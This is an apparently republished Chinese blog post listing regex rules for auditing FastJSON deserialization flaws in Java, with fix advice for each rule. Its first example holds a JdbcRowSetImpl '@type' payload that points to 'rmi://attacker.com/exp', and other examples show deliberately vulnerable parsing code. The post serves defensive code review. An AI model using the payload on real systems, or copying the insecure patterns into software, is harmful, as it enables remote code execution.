🧠 FastJSON 静态代码分析规则大全
🎯 在审计时如何快速定位关键位置,可以使用下面的正则来查询,适用于 Java 代码安全审计场景,辅助你快速检测
✅ 1:检测是否显式开启 AutoType
🎯 正则
ParserConfig.getGlobalInstance().setAutoTypeSupports*(s*trues*)
|
|
---|---|
|
@type 加载任意类,如 TemplatesImpl 执行命令 |
|
true ,并增加 addDeny 白名单限制 |
📜 示例代码
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);String json = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker.com/exp","autoCommit":true}"; //传入的Json数据Object obj = JSON.parse(json);
❗ 漏洞解释
开启 AutoType 后,攻击者可使用 @type
指定任意类,加载 Gadget 对象执行命令。如 JdbcRowSetImpl
自动连接外部 JNDI。
🛠 修复建议
-
禁止使用 setAutoTypeSupport(true)
-
配合 addDeny()
明确封禁危险类
💥 攻击方式
-
远程命令执行(JNDI 注入、BCEL 等类加载)
✅ 规则 2:宽松的全局类白名单
🎯 正则
ParserConfig.getGlobalInstance().addAccepts*(s*".*"s*)
|
|
---|---|
|
|
|
|
📜 示例代码
ParserConfig.getGlobalInstance().addAccept("com.example.");
❗ 漏洞解释
若 com.example
包中存在如 com.example.TemplateExploit
实现了危险接口,攻击者可指定该类执行逻辑。
🛠 修复建议
-
精确到类名添加白名单,禁止通配符或包级别放行 -
建议白名单在无攻击面的类中设定(如 DTO)
💥 攻击方式
-
上传恶意类或利用现有类构造执行链
✅ 规则 3:使用 JSON.parse()
接收外部输入
🎯 正则
JSON.parses*(s*.*request.*)JSON.parses*(s*.*getParameter.*)
|
@type 类型注入 |
---|---|
|
|
|
parseObject(json, Class) 明确目标类以限制行为 |
📜 示例代码
String json = request.getParameter("data");Object obj = JSON.parse(json);
❗ 漏洞解释
JSON.parse()
未指定目标类,默认开启自动类型识别,允许传入 @type
段,反序列化任意对象。
🛠 修复建议
-
改为 JSON.parseObject(json, SafeClass.class)
-
或使用 ObjectMapper
替代,限制模型
💥 攻击方式
-
利用 @type
注入构造 Gadget -
结合通用类(TemplatesImpl、JdbcRowSetImpl)命令执行
✅ 规则 4:反序列化数据后又调用 JSON.parse
🎯 正则
JSON.parses*(s*JSON.parse.*)
|
|
---|---|
|
|
|
|
📜 示例代码
String rawJson = request.getParameter("payload");String innerJson = (String) JSON.parse(rawJson);Object obj = JSON.parse(innerJson);
❗ 漏洞解释
攻击者可构造两层嵌套 JSON,例如首层包裹恶意对象,绕过第一层检查,第二层触发执行。
🛠 修复建议
-
禁止嵌套 JSON 的自动解析
💥 攻击方式
-
绕过 WAF 或白名单 -
二次触发执行链
✅ 规则 5:Controller 层使用 Object
接收 JSON
🎯 正则
public .*Controller.*(.*@RequestBodys+Objects+w+.*)
|
|
---|---|
|
@type 可导致构造危险对象 |
|
Object 接收外部数据 |
📜 示例代码
@PostMapping("/api/parse")publicvoidparseJson(@RequestBody Object data){ log.info(data.toString());}
❗ 漏洞解释
未指定数据模型,FastJSON 会使用默认解析器,支持 @type
注入,触发反序列化。
🛠 修复建议
-
明确指定 POJO 类型,拒绝使用 Object
-
加入全局反序列化校验(如白名单过滤器)
💥 攻击方式
-
利用 FastJSON 自动识别执行恶意类型
触发FastJSON的具体原理分析 👉 Spring MVC + FastJSON:反序列化攻击是怎么一步步发生的?
✅ 规则 6:反序列化对象未进行安全校验即转发/写入中间件
🎯 正则
JSON.parse.*(Kafka|Redis|Rabbit|HttpClient)
|
|
---|---|
|
|
|
|
📜 示例代码
String json = request.getParameter("payload");Object data = JSON.parse(json);kafkaTemplate.send("topic", data);
❗ 漏洞解释
未经校验的数据被写入中间件,可能在消费端触发危险类实例化。
🛠 修复建议
-
严格校验数据模型结构 -
禁止转发任意 Object 到 MQ、缓存等
💥 攻击方式
-
延迟执行,利用 Kafka、Redis 消费端打点
具体实例分析 👉 FastJSON + MQ 实现反序列化漏洞攻击链
✅ 规则 7:项目中引用了高危依赖组件
🎯 正则
可结合 Maven 项目依赖分析:
Windows: mvn dependency:tree | findstr "commons-collections bcel groovy rhino xalan spring-core"Linux: mvn dependency:tree | grep -E "commons-collections|bcel|groovy|rhino|xalan|spring-core"
|
|
---|---|
|
|
|
|
📜 查询示例
❗ 漏洞解释
攻击者利用 FastJSON 加载这些类触发反射逻辑(如 InvokerTransformer
),构造完整 Gadget 链。
🛠 修复建议
-
移除不必要组件,升级至无 Gadget 版本 -
搭配 addDeny()
限制危险类
💥 攻击方式
-
利用 CC 链、Xalan、Groovy 等执行表达式
✅ 规则 8:调用 addDeny()
黑名单设置不完整
🎯 正则
ParserConfig.getGlobalInstance().addDenys*(s*".*"s*)
|
|
---|---|
|
|
|
|
📜 示例代码
ParserConfig.getGlobalInstance().addDeny("org.apache.commons.collections.");
❗ 漏洞解释
虽然加入了部分黑名单,但若缺少如 org.apache.xalan.
, com.sun.org.apache.xalan.
等路径,依旧可能被绕过。
🛠 修复建议
-
使用 FastJSON 内置的完整黑名单 -
并根据业务需求添加其他内容
💥 攻击方式
-
利用绕过类路径调用旧链
📌 总结
|
|
---|---|
|
Object 接收,避免泛解析 |
|
autoTypeSupport ,合理使用 addDeny() |
|
|
|
|
|
@type 字段及 JNDI 字符串 |
原文始发于微信公众号(季升安全):全网最全!FastJSON 静态规则图鉴,写了就能查!
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论